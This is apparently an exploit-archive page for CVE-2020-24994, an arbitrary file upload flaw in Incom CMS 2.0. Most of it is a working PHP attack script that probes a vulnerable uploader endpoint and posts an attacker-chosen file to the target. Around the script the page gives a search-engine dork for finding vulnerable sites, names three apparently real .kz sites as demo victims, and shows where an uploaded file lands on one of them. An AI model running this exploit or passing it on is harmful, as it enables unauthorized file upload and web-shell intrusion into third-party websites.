Advertisement






Incom 2.0 arbitrary file upload

CVE Category Price Severity
CVE-2020-24994 CWE-434 Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2018-01-19
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018010184

Below is a copy:

Incom 2.0 arbitrary file upload
 -========================================================-
# Exploit title : Incom CMS 2.0 arbitrary file upload
# dork : intext:"Incom CMS 2.0"
# author : MrSqar Yemeni hacker
# Team : IT-Geeks
# Tested on : BackBox linux
# check if site is vulnerabe : /incom/modules/uploader/showcase/script.php
picture : https://b.top4top.net/p_743j5x8y1.png
# your file will uploaded here : /upload/userfiles/image/YourFile.php
demo : http://pnualaugaz.kz/upload/userfiles/image/root.png
# deom sites :
http://pnualaugaz.kz/
http://mzgesheft.kz/
http://mekom.kz/
-====================-
# exploit script #
<?php
/*
* Coded by MrSqar
*
* contact : [email protected]
*
* Gz : KaHawk & all my team members
*
*/
echo " [!] Enter target url : ";
$target = fgets(STDIN,1024);
$target = trim($target);
function f($target){
$green = "\e[92m";
$orange = "\e[38;5;208m";
$red = "\e[91m";
$target1 = $target."/incom/modules/uploader/showcase/script.php";
$src = @file_get_contents("$target1");
// your file name here :
$uploadfile2="root.png";
$uploadfile="root.png";
// -=================- //
if(preg_match("/status/",$src)){
$uploadfile=realpath($uploadfile) ;
if (function_exists('curl_file_create')) { // php 5.5+
$cFile = curl_file_create($uploadfile);
} else { //
$cFile = '@' . realpath($uploadfile);
}
$post = array('Filedata'=> $cFile);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"$target1");
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result=curl_exec ($ch);
curl_close ($ch);
echo " Uplaoded done : ".$target."/upload/userfiles/image/$uploadfile2"."\n"; }
}

echo f($target);


?>

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum